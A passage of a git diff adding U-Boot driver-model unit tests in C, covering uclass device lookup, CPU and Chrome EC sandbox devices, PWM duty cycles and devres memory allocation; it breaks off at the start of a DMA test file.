+ ut_asserteq(false, device_active(dma));
+ ut_asserteq(false, device_active(vital));
+ ut_asserteq(false, device_active(dma_vital));
+
+ return 0;
+}
+DM_TEST(dm_test_remove_vital, 0);
+
+static int dm_test_uclass_before_ready(struct unit_test_state *uts)
+{
+ struct uclass *uc;
+
+ ut_assertok(uclass_get(UCLASS_TEST, &uc));
+
+ gd->dm_root = NULL;
+ gd->dm_root_f = NULL;
+ memset(&gd->uclass_root, '\0', sizeof(gd->uclass_root));
+
+ ut_asserteq_ptr(NULL, uclass_find(UCLASS_TEST));
+ ut_asserteq(-EDEADLK, uclass_get(UCLASS_TEST, &uc));
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_before_ready, 0);
+
+static int dm_test_uclass_devices_find(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int ret;
+
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(uclass_find_first_device(UCLASS_TEST_DUMMY, &dev));
+ ut_assertnull(dev);
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_devices_find, UT_TESTF_SCAN_PDATA);
+
+static int dm_test_uclass_devices_find_by_name(struct unit_test_state *uts)
+{
+ struct udevice *finddev;
+ struct udevice *testdev;
+ int findret, ret;
+
+ /*
+ * For each test device found in fdt like: "a-test", "b-test", etc.,
+ * use its name and try to find it by uclass_find_device_by_name().
+ * Then, on success check if:
+ * - current 'testdev' name is equal to the returned 'finddev' name
+ * - current 'testdev' pointer is equal to the returned 'finddev'
+ *
+ * We assume that, each uclass's device name is unique, so if not, then
+ * this will fail on checking condition: testdev == finddev, since the
+ * uclass_find_device_by_name(), returns the first device by given name.
+ */
+ for (ret = uclass_find_first_device(UCLASS_TEST_FDT, &testdev);
+ testdev;
+ ret = uclass_find_next_device(&testdev)) {
+ ut_assertok(ret);
+ ut_assertnonnull(testdev);
+
+ findret = uclass_find_device_by_name(UCLASS_TEST_FDT,
+ testdev->name,
+ &finddev);
+
+ ut_assertok(findret);
+ ut_assert(testdev);
+ ut_asserteq_str(testdev->name, finddev->name);
+ ut_asserteq_ptr(testdev, finddev);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_devices_find_by_name, UT_TESTF_SCAN_FDT);
+
+static int dm_test_uclass_devices_get(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int ret;
+
+ for (ret = uclass_first_device_check(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_next_device_check(&dev)) {
+ ut_assert(!ret);
+ ut_assert(device_active(dev));
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_devices_get, UT_TESTF_SCAN_PDATA);
+
+static int dm_test_uclass_devices_get_by_name(struct unit_test_state *uts)
+{
+ struct udevice *finddev;
+ struct udevice *testdev;
+ int ret, findret;
+
+ /*
+ * For each test device found in fdt like: "a-test", "b-test", etc.,
+ * use its name and try to get it by uclass_get_device_by_name().
+ * On success check if:
+ * - returned finddev' is active
+ * - current 'testdev' name is equal to the returned 'finddev' name
+ * - current 'testdev' pointer is equal to the returned 'finddev'
+ *
+ * We asserts that the 'testdev' is active on each loop entry, so we
+ * could be sure that the 'finddev' is activated too, but for sure
+ * we check it again.
+ *
+ * We assume that, each uclass's device name is unique, so if not, then
+ * this will fail on checking condition: testdev == finddev, since the
+ * uclass_get_device_by_name(), returns the first device by given name.
+ */
+ for (ret = uclass_first_device_check(UCLASS_TEST_FDT, &testdev);
+ testdev;
+ ret = uclass_next_device_check(&testdev)) {
+ ut_assertok(ret);
+ ut_assert(device_active(testdev));
+
+ findret = uclass_get_device_by_name(UCLASS_TEST_FDT,
+ testdev->name,
+ &finddev);
+
+ ut_assertok(findret);
+ ut_assert(finddev);
+ ut_assert(device_active(finddev));
+ ut_asserteq_str(testdev->name, finddev->name);
+ ut_asserteq_ptr(testdev, finddev);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_devices_get_by_name, UT_TESTF_SCAN_FDT);
+
+static int dm_test_device_get_uclass_id(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST, 0, &dev));
+ ut_asserteq(UCLASS_TEST, device_get_uclass_id(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_device_get_uclass_id, UT_TESTF_SCAN_PDATA);
+
+static int dm_test_uclass_names(struct unit_test_state *uts)
+{
+ ut_asserteq_str("test", uclass_get_name(UCLASS_TEST));
+ ut_asserteq(UCLASS_TEST, uclass_get_by_name("test"));
+
+ ut_asserteq(UCLASS_SPI, uclass_get_by_name("spi"));
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_names, UT_TESTF_SCAN_PDATA);
+
+static int dm_test_inactive_child(struct unit_test_state *uts)
+{
+ struct udevice *parent, *dev1, *dev2;
+
+ /* Skip the behaviour in test_post_probe() */
+ uts->skip_post_probe = 1;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST, &parent));
+
+ /*
+ * Create a child but do not activate it. Calling the function again
+ * should return the same child.
+ */
+ ut_asserteq(-ENODEV, device_find_first_inactive_child(parent,
+ UCLASS_TEST, &dev1));
+ ut_assertok(device_bind(parent, DM_DRIVER_GET(test_drv),
+ "test_child", 0, ofnode_null(), &dev1));
+
+ ut_assertok(device_find_first_inactive_child(parent, UCLASS_TEST,
+ &dev2));
+ ut_asserteq_ptr(dev1, dev2);
+
+ ut_assertok(device_probe(dev1));
+ ut_asserteq(-ENODEV, device_find_first_inactive_child(parent,
+ UCLASS_TEST, &dev2));
+
+ return 0;
+}
+DM_TEST(dm_test_inactive_child, UT_TESTF_SCAN_PDATA);
+
+/* Make sure all bound devices have a sequence number */
+static int dm_test_all_have_seq(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct uclass *uc;
+
+ list_for_each_entry(uc, gd->uclass_root, sibling_node) {
+ list_for_each_entry(dev, &uc->dev_head, uclass_node) {
+ if (dev->seq_ == -1)
+ printf("Device '%s' has no seq (%d)\n",
+ dev->name, dev->seq_);
+ ut_assert(dev->seq_ != -1);
+ }
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_all_have_seq, UT_TESTF_SCAN_PDATA);
+
+#if CONFIG_IS_ENABLED(DM_DMA)
+static int dm_test_dma_offset(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ofnode node;
+
+ /* Make sure the bus's dma-ranges aren't taken into account here */
+ node = ofnode_path("/mmio-bus@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_BUS, node, &dev));
+ ut_asserteq_64(0, dev->dma_offset);
+
+ /* Device behind a bus with dma-ranges */
+ node = ofnode_path("/mmio-bus@0/subnode@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_FDT, node, &dev));
+ ut_asserteq_64(-0x10000000ULL, dev->dma_offset);
+
+ /* This one has no dma-ranges */
+ node = ofnode_path("/mmio-bus@1");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_BUS, node, &dev));
+ node = ofnode_path("/mmio-bus@1/subnode@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_FDT, node, &dev));
+ ut_asserteq_64(0, dev->dma_offset);
+
+ return 0;
+}
+DM_TEST(dm_test_dma_offset, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+#endif
+
+/* Test dm_get_stats() */
+static int dm_test_get_stats(struct unit_test_state *uts)
+{
+ int dev_count, uc_count;
+
+ dm_get_stats(&dev_count, &uc_count);
+ ut_assert(dev_count > 50);
+ ut_assert(uc_count > 30);
+
+ return 0;
+}
+DM_TEST(dm_test_get_stats, UT_TESTF_SCAN_FDT);
+
+/* Test uclass_find_device_by_name() */
+static int dm_test_uclass_find_device(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_find_device_by_name(UCLASS_I2C, "i2c@0", &dev));
+ ut_asserteq(-ENODEV,
+ uclass_find_device_by_name(UCLASS_I2C, "i2c@0x", &dev));
+ ut_assertok(uclass_find_device_by_namelen(UCLASS_I2C, "i2c@0x", 5,
+ &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_find_device, UT_TESTF_SCAN_FDT);
+
+/* Test getting information about tags attached to devices */
+static int dm_test_dev_get_attach(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertnonnull(dev_get_attach_ptr(dev, DM_TAG_PLAT));
+ ut_assertnonnull(dev_get_attach_ptr(dev, DM_TAG_PRIV));
+ ut_assertnull(dev_get_attach_ptr(dev, DM_TAG_UC_PRIV));
+ ut_assertnull(dev_get_attach_ptr(dev, DM_TAG_UC_PLAT));
+ ut_assertnull(dev_get_attach_ptr(dev, DM_TAG_PARENT_PLAT));
+ ut_assertnull(dev_get_attach_ptr(dev, DM_TAG_PARENT_PRIV));
+
+ ut_asserteq(sizeof(struct dm_test_pdata),
+ dev_get_attach_size(dev, DM_TAG_PLAT));
+ ut_asserteq(sizeof(struct dm_test_priv),
+ dev_get_attach_size(dev, DM_TAG_PRIV));
+ ut_asserteq(0, dev_get_attach_size(dev, DM_TAG_UC_PRIV));
+ ut_asserteq(0, dev_get_attach_size(dev, DM_TAG_UC_PLAT));
+ ut_asserteq(0, dev_get_attach_size(dev, DM_TAG_PARENT_PLAT));
+ ut_asserteq(0, dev_get_attach_size(dev, DM_TAG_PARENT_PRIV));
+
+ return 0;
+}
+DM_TEST(dm_test_dev_get_attach, UT_TESTF_SCAN_FDT);
+
+/* Test getting information about tags attached to bus devices */
+static int dm_test_dev_get_attach_bus(struct unit_test_state *uts)
+{
+ struct udevice *dev, *child;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_BUS, &dev));
+ ut_asserteq_str("some-bus", dev->name);
+
+ ut_assertnonnull(dev_get_attach_ptr(dev, DM_TAG_PLAT));
+ ut_assertnonnull(dev_get_attach_ptr(dev, DM_TAG_PRIV));
+ ut_assertnonnull(dev_get_attach_ptr(dev, DM_TAG_UC_PRIV));
+ ut_assertnonnull(dev_get_attach_ptr(dev, DM_TAG_UC_PLAT));
+ ut_assertnull(dev_get_attach_ptr(dev, DM_TAG_PARENT_PLAT));
+ ut_assertnull(dev_get_attach_ptr(dev, DM_TAG_PARENT_PRIV));
+
+ ut_asserteq(sizeof(struct dm_test_pdata),
+ dev_get_attach_size(dev, DM_TAG_PLAT));
+ ut_asserteq(sizeof(struct dm_test_priv),
+ dev_get_attach_size(dev, DM_TAG_PRIV));
+ ut_asserteq(sizeof(struct dm_test_uclass_priv),
+ dev_get_attach_size(dev, DM_TAG_UC_PRIV));
+ ut_asserteq(sizeof(struct dm_test_uclass_plat),
+ dev_get_attach_size(dev, DM_TAG_UC_PLAT));
+ ut_asserteq(0, dev_get_attach_size(dev, DM_TAG_PARENT_PLAT));
+ ut_asserteq(0, dev_get_attach_size(dev, DM_TAG_PARENT_PRIV));
+
+ /* Now try the child of the bus */
+ ut_assertok(device_first_child_err(dev, &child));
+ ut_asserteq_str("c-test@5", child->name);
+
+ ut_assertnonnull(dev_get_attach_ptr(child, DM_TAG_PLAT));
+ ut_assertnonnull(dev_get_attach_ptr(child, DM_TAG_PRIV));
+ ut_assertnull(dev_get_attach_ptr(child, DM_TAG_UC_PRIV));
+ ut_assertnull(dev_get_attach_ptr(child, DM_TAG_UC_PLAT));
+ ut_assertnonnull(dev_get_attach_ptr(child, DM_TAG_PARENT_PLAT));
+ ut_assertnonnull(dev_get_attach_ptr(child, DM_TAG_PARENT_PRIV));
+
+ ut_asserteq(sizeof(struct dm_test_pdata),
+ dev_get_attach_size(child, DM_TAG_PLAT));
+ ut_asserteq(sizeof(struct dm_test_priv),
+ dev_get_attach_size(child, DM_TAG_PRIV));
+ ut_asserteq(0, dev_get_attach_size(child, DM_TAG_UC_PRIV));
+ ut_asserteq(0, dev_get_attach_size(child, DM_TAG_UC_PLAT));
+ ut_asserteq(sizeof(struct dm_test_parent_plat),
+ dev_get_attach_size(child, DM_TAG_PARENT_PLAT));
+ ut_asserteq(sizeof(struct dm_test_parent_data),
+ dev_get_attach_size(child, DM_TAG_PARENT_PRIV));
+
+ return 0;
+}
+DM_TEST(dm_test_dev_get_attach_bus, UT_TESTF_SCAN_FDT);
+
+/* Test getting information about tags attached to bus devices */
+static int dm_test_dev_get_mem(struct unit_test_state *uts)
+{
+ struct dm_stats stats;
+
+ dm_get_mem(&stats);
+
+ return 0;
+}
+DM_TEST(dm_test_dev_get_mem, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/cpu.c b/test/dm/cpu.c
new file mode 100644
index 00000000000..acba8105996
--- /dev/null
+++ b/test/dm/cpu.c
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018
+ * Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <cpu.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_cpu(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ char text[128];
+ struct cpu_info info;
+
+ ut_assertok(cpu_probe_all());
+
+ /* Check that cpu_probe_all really activated all CPUs */
+ for (uclass_find_first_device(UCLASS_CPU, &dev);
+ dev;
+ uclass_find_next_device(&dev))
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_CPU, "cpu@1", &dev));
+ ut_asserteq_ptr(cpu_get_current_dev(), dev);
+ ut_asserteq(cpu_is_current(dev), 1);
+
+ ut_assertok(cpu_get_desc(dev, text, sizeof(text)));
+ ut_assertok(strcmp(text, "LEG Inc. SuperMegaUltraTurbo CPU No. 1"));
+
+ ut_assertok(cpu_get_info(dev, &info));
+ ut_asserteq(info.cpu_freq, 42 * 42 * 42 * 42 * 42);
+ ut_asserteq(info.features, 0x42424242);
+ ut_asserteq(info.address_width, IS_ENABLED(CONFIG_PHYS_64BIT) ? 64 : 32);
+
+ ut_asserteq(cpu_get_count(dev), 42);
+
+ ut_assertok(cpu_get_vendor(dev, text, sizeof(text)));
+ ut_assertok(strcmp(text, "Languid Example Garbage Inc."));
+
+ return 0;
+}
+
+DM_TEST(dm_test_cpu, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/cros_ec.c b/test/dm/cros_ec.c
new file mode 100644
index 00000000000..ac0055f0acd
--- /dev/null
+++ b/test/dm/cros_ec.c
@@ -0,0 +1,177 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright 2021 Google LLC
+ */
+
+#include <cros_ec.h>
+#include <dm.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+static int dm_test_cros_ec_hello(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ uint val;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CROS_EC, &dev));
+
+ ut_assertok(cros_ec_hello(dev, NULL));
+
+ val = 0xdead1357;
+ ut_assertok(cros_ec_hello(dev, &val));
+ ut_asserteq(0xdead1357, val);
+
+ sandbox_cros_ec_set_test_flags(dev, CROSECT_BREAK_HELLO);
+ ut_asserteq(-ENOTSYNC, cros_ec_hello(dev, &val));
+ ut_asserteq(0x12345678, val);
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_hello, UT_TESTF_SCAN_FDT);
+
+static int dm_test_cros_ec_sku_id(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CROS_EC, &dev));
+ ut_asserteq(1234, cros_ec_get_sku_id(dev));
+
+ /* try the command */
+ console_record_reset();
+ ut_assertok(run_command("crosec sku", 0));
+ ut_assert_nextline("1234");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_sku_id, UT_TESTF_SCAN_FDT);
+
+static int dm_test_cros_ec_features(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u64 feat;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CROS_EC, &dev));
+ ut_assertok(cros_ec_get_features(dev, &feat));
+ ut_asserteq_64(1U << EC_FEATURE_FLASH | 1U << EC_FEATURE_I2C |
+ 1u << EC_FEATURE_VSTORE |
+ 1ULL << EC_FEATURE_UNIFIED_WAKE_MASKS | 1ULL << EC_FEATURE_ISH,
+ feat);
+
+ ut_asserteq(true, cros_ec_check_feature(dev, EC_FEATURE_I2C));
+ ut_asserteq(false, cros_ec_check_feature(dev, EC_FEATURE_MOTION_SENSE));
+ ut_asserteq(true, cros_ec_check_feature(dev, EC_FEATURE_ISH));
+
+ /* try the command */
+ console_record_reset();
+ ut_assertok(run_command("crosec features", 0));
+ ut_assert_nextline("flash");
+ ut_assert_nextline("i2c");
+ ut_assert_nextline("vstore");
+ ut_assert_nextline("unified_wake_masks");
+ ut_assert_nextline("ish");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_features, UT_TESTF_SCAN_FDT);
+
+static int dm_test_cros_ec_switches(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CROS_EC, &dev));
+ ut_asserteq(0, cros_ec_get_switches(dev));
+
+ /* try the command */
+ console_record_reset();
+ ut_assertok(run_command("crosec switches", 0));
+ ut_assert_console_end();
+
+ /* Open the lid and check the switch changes */
+ sandbox_cros_ec_set_test_flags(dev, CROSECT_LID_OPEN);
+ ut_asserteq(EC_SWITCH_LID_OPEN, cros_ec_get_switches(dev));
+
+ /* try the command */
+ console_record_reset();
+ ut_assertok(run_command("crosec switches", 0));
+ ut_assert_nextline("lid open");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_switches, UT_TESTF_SCAN_FDT);
+
+static int dm_test_cros_ec_events(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u32 events;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CROS_EC, &dev));
+ ut_assertok(cros_ec_get_host_events(dev, &events));
+ ut_asserteq(0, events);
+
+ /* try the command */
+ console_record_reset();
+ ut_assertok(run_command("crosec events", 0));
+ ut_assert_nextline("00000000");
+ ut_assert_console_end();
+
+ /* Open the lid and check the event appears */
+ sandbox_cros_ec_set_test_flags(dev, CROSECT_LID_OPEN);
+ ut_assertok(cros_ec_get_host_events(dev, &events));
+ ut_asserteq(EC_HOST_EVENT_MASK(EC_HOST_EVENT_LID_OPEN), events);
+
+ /* try the command */
+ console_record_reset();
+ ut_assertok(run_command("crosec events", 0));
+ ut_assert_nextline("00000002");
+ ut_assert_nextline("lid_open");
+ ut_assert_console_end();
+
+ /* Clear the event */
+ ut_assertok(cros_ec_clear_host_events(dev,
+ EC_HOST_EVENT_MASK(EC_HOST_EVENT_LID_OPEN)));
+ ut_assertok(cros_ec_get_host_events(dev, &events));
+ ut_asserteq(0, events);
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_events, UT_TESTF_SCAN_FDT);
+
+static int dm_test_cros_ec_vstore(struct unit_test_state *uts)
+{
+ const int size = EC_VSTORE_SLOT_SIZE;
+ u8 test_data[size], data[size];
+ struct udevice *dev;
+ u32 locked;
+ int i;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CROS_EC, &dev));
+ ut_asserteq(true, cros_ec_vstore_supported(dev));
+
+ ut_asserteq(4, cros_ec_vstore_info(dev, &locked));
+ ut_asserteq(0, locked);
+
+ /* Write some data */
+ for (i = 0; i < size; i++)
+ test_data[i] = ' ' + i;
+ ut_assertok(cros_ec_vstore_write(dev, 2, test_data, size));
+
+ /* Check it is locked */
+ ut_asserteq(4, cros_ec_vstore_info(dev, &locked));
+ ut_asserteq(1 << 2, locked);
+
+ /* Read it back and compare */
+ ut_assertok(cros_ec_vstore_read(dev, 2, data));
+ ut_asserteq_mem(test_data, data, size);
+
+ /* Try another slot to make sure it is empty */
+ ut_assertok(cros_ec_vstore_read(dev, 0, data));
+ for (i = 0; i < size; i++)
+ ut_asserteq(0, data[i]);
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_vstore, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/cros_ec_pwm.c b/test/dm/cros_ec_pwm.c
new file mode 100644
index 00000000000..f68ee6f33b8
--- /dev/null
+++ b/test/dm/cros_ec_pwm.c
@@ -0,0 +1,59 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+#include <cros_ec.h>
+#include <dm.h>
+#include <pwm.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_cros_ec_pwm(struct unit_test_state *uts)
+{
+ struct udevice *pwm;
+ struct udevice *ec;
+ uint duty;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_PWM, "cros-ec-pwm", &pwm));
+ ut_assertnonnull(pwm);
+ ec = dev_get_parent(pwm);
+ ut_assertnonnull(ec);
+
+ ut_assertok(pwm_set_config(pwm, 0, 100, 50));
+ ut_assertok(pwm_set_enable(pwm, 0, true));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 0, &duty));
+ ut_asserteq(50 * EC_PWM_MAX_DUTY / 100, duty);
+
+ ut_assertok(pwm_set_config(pwm, 0, 15721, 2719));
+ ut_assertok(pwm_set_enable(pwm, 0, true));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 0, &duty));
+ ut_asserteq(2719 * EC_PWM_MAX_DUTY / 15721, duty);
+
+ ut_assertok(pwm_set_enable(pwm, 0, false));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 0, &duty));
+ ut_asserteq(0, duty);
+
+ ut_assertok(pwm_set_enable(pwm, 0, true));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 0, &duty));
+ ut_asserteq(2719 * EC_PWM_MAX_DUTY / 15721, duty);
+
+ ut_assertok(pwm_set_config(pwm, 1, 1000, 0));
+ ut_assertok(pwm_set_enable(pwm, 1, true));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 1, &duty));
+ ut_asserteq(0, duty);
+
+ ut_assertok(pwm_set_config(pwm, 2, 1000, 1024));
+ ut_assertok(pwm_set_enable(pwm, 2, true));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 2, &duty));
+ ut_asserteq(EC_PWM_MAX_DUTY, duty);
+
+ ut_assertok(pwm_set_config(pwm, 3, EC_PWM_MAX_DUTY, 0xABCD));
+ ut_assertok(pwm_set_enable(pwm, 3, true));
+ ut_assertok(sandbox_cros_ec_get_pwm_duty(ec, 3, &duty));
+ ut_asserteq(0xABCD, duty);
+
+ ut_asserteq(-EINVAL, pwm_set_enable(pwm, 4, true));
+
+ return 0;
+}
+DM_TEST(dm_test_cros_ec_pwm, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/devres.c b/test/dm/devres.c
new file mode 100644
index 00000000000..95a470b9f1c
--- /dev/null
+++ b/test/dm/devres.c
@@ -0,0 +1,185 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for the devres (
+ *
+ * Copyright 2019 Google LLC
+ */
+
+#include <errno.h>
+#include <dm.h>
+#include <log.h>
+#include <malloc.h>
+#include <dm/device-internal.h>
+#include <dm/devres.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/ut.h>
+
+/* Test that devm_kmalloc() allocates memory, free when device is removed */
+static int dm_test_devres_alloc(struct unit_test_state *uts)
+{
+ ulong mem_start, mem_dev, mem_kmalloc;
+ struct udevice *dev;
+ void *ptr;
+
+ mem_start = ut_check_delta(0);
+ ut_assertok(uclass_first_device_err(UCLASS_TEST, &dev));
+ mem_dev = ut_check_delta(mem_start);
+ ut_assert(mem_dev > 0);
+
+ /* This should increase allocated memory */
+ ptr = devm_kmalloc(dev, TEST_DEVRES_SIZE, 0);
+ ut_assert(ptr != NULL);
+ mem_kmalloc = ut_check_delta(mem_dev);
+ ut_assert(mem_kmalloc > 0);
+
+ /* Check that ptr is freed */
+ device_remove(dev, DM_REMOVE_NORMAL);
+ ut_asserteq(0, ut_check_delta(mem_start));
+
+ return 0;
+}
+DM_TEST(dm_test_devres_alloc, UT_TESTF_SCAN_PDATA);
+
+/* Test devm_kfree() can be used to free memory too */
+static int dm_test_devres_free(struct unit_test_state *uts)
+{
+ ulong mem_start, mem_dev, mem_kmalloc;
+ struct udevice *dev;
+ void *ptr;
+
+ mem_start = ut_check_delta(0);
+ ut_assertok(uclass_first_device_err(UCLASS_TEST, &dev));
+ mem_dev = ut_check_delta(mem_start);
+ ut_assert(mem_dev > 0);
+
+ ptr = devm_kmalloc(dev, TEST_DEVRES_SIZE, 0);
+ ut_assert(ptr != NULL);
+ mem_kmalloc = ut_check_delta(mem_dev);
+ ut_assert(mem_kmalloc > 0);
+
+ /* Free the ptr and check that memory usage goes down */
+ devm_kfree(dev, ptr);
+ ut_assert(ut_check_delta(mem_kmalloc) < 0);
+
+ device_remove(dev, DM_REMOVE_NORMAL);
+ ut_asserteq(0, ut_check_delta(mem_start));
+
+ return 0;
+}
+DM_TEST(dm_test_devres_free, UT_TESTF_SCAN_PDATA);
+
+
+/* Test that kzalloc() returns memory that is zeroed */
+static int dm_test_devres_kzalloc(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u8 *ptr, val;
+ int i;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST, &dev));
+
+ ptr = devm_kzalloc(dev, TEST_DEVRES_SIZE, 0);
+ ut_assert(ptr != NULL);
+ for (val = 0, i = 0; i < TEST_DEVRES_SIZE; i++)
+ val |= *ptr;
+ ut_asserteq(0, val);
+
+ return 0;
+}
+DM_TEST(dm_test_devres_kzalloc, UT_TESTF_SCAN_PDATA);
+
+/* Test that devm_kmalloc_array() allocates an array that can be set */
+static int dm_test_devres_kmalloc_array(struct unit_test_state *uts)
+{
+ ulong mem_start, mem_dev;
+ struct udevice *dev;
+ u8 *ptr;
+
+ mem_start = ut_check_delta(0);
+ ut_assertok(uclass_first_device_err(UCLASS_TEST, &dev));
+ mem_dev = ut_check_delta(mem_start);
+
+ ptr = devm_kmalloc_array(dev, TEST_DEVRES_COUNT, TEST_DEVRES_SIZE, 0);
+ ut_assert(ptr != NULL);
+ memset(ptr, '\xff', TEST_DEVRES_TOTAL);
+ ut_assert(ut_check_delta(mem_dev) > 0);
+
+ device_remove(dev, DM_REMOVE_NORMAL);
+ ut_asserteq(0, ut_check_delta(mem_start));
+
+ return 0;
+}
+DM_TEST(dm_test_devres_kmalloc_array, UT_TESTF_SCAN_PDATA);
+
+/* Test that devm_kcalloc() allocates a zeroed array */
+static int dm_test_devres_kcalloc(struct unit_test_state *uts)
+{
+ ulong mem_start, mem_dev;
+ struct udevice *dev;
+ u8 *ptr, val;
+ int i;
+
+ mem_start = ut_check_delta(0);
+ ut_assertok(uclass_first_device_err(UCLASS_TEST, &dev));
+ mem_dev = ut_check_delta(mem_start);
+ ut_assert(mem_dev > 0);
+
+ /* This should increase allocated memory */
+ ptr = devm_kcalloc(dev, TEST_DEVRES_SIZE, TEST_DEVRES_COUNT, 0);
+ ut_assert(ptr != NULL);
+ ut_assert(ut_check_delta(mem_dev) > 0);
+ for (val = 0, i = 0; i < TEST_DEVRES_TOTAL; i++)
+ val |= *ptr;
+ ut_asserteq(0, val);
+
+ /* Check that ptr is freed */
+ device_remove(dev, DM_REMOVE_NORMAL);
+ ut_asserteq(0, ut_check_delta(mem_start));
+
+ return 0;
+}
+DM_TEST(dm_test_devres_kcalloc, UT_TESTF_SCAN_PDATA);
+
+/* Test devres releases resources automatically as expected */
+static int dm_test_devres_phase(struct unit_test_state *uts)
+{
+ struct devres_stats stats;
+ struct udevice *dev;
+
+ /*
+ * The device is bound already, so find it and check that it has the
+ * allocation created in the bind() method.
+ */
+ ut_assertok(uclass_find_first_device(UCLASS_TEST_DEVRES, &dev));
+ ut_assertnonnull(dev);
+ devres_get_stats(dev, &stats);
+ ut_asserteq(1, stats.allocs);
+ ut_asserteq(TEST_DEVRES_SIZE, stats.total_size);
+
+ /* Getting plat should add one allocation */
+ ut_assertok(device_of_to_plat(dev));
+ devres_get_stats(dev, &stats);
+ ut_asserteq(2, stats.allocs);
+ ut_asserteq(TEST_DEVRES_SIZE + TEST_DEVRES_SIZE3, stats.total_size);
+
+ /* Probing the device should add one allocation */
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_DEVRES, &dev));
+ ut_assertnonnull(dev);
+ devres_get_stats(dev, &stats);
+ ut_asserteq(3, stats.allocs);
+ ut_asserteq(TEST_DEVRES_SIZE + TEST_DEVRES_SIZE2 + TEST_DEVRES_SIZE3,
+ stats.total_size);
+
+ /* Removing the device should drop both those allocations */
+ device_remove(dev, DM_REMOVE_NORMAL);
+ devres_get_stats(dev, &stats);
+ ut_asserteq(1, stats.allocs);
+ ut_asserteq(TEST_DEVRES_SIZE, stats.total_size);
+
+ /* Unbinding removes the other. */
+ device_unbind(dev);
+
+ return 0;
+}
+DM_TEST(dm_test_devres_phase, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/dma.c b/test/dm/dma.c
new file mode 100644
index 00000000000..949710fdb4e
--- /dev/null
+++ b/test/dm/dma.c
@@ -0,0 +1,124 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Direct Memory Access U-Class tests
+ *
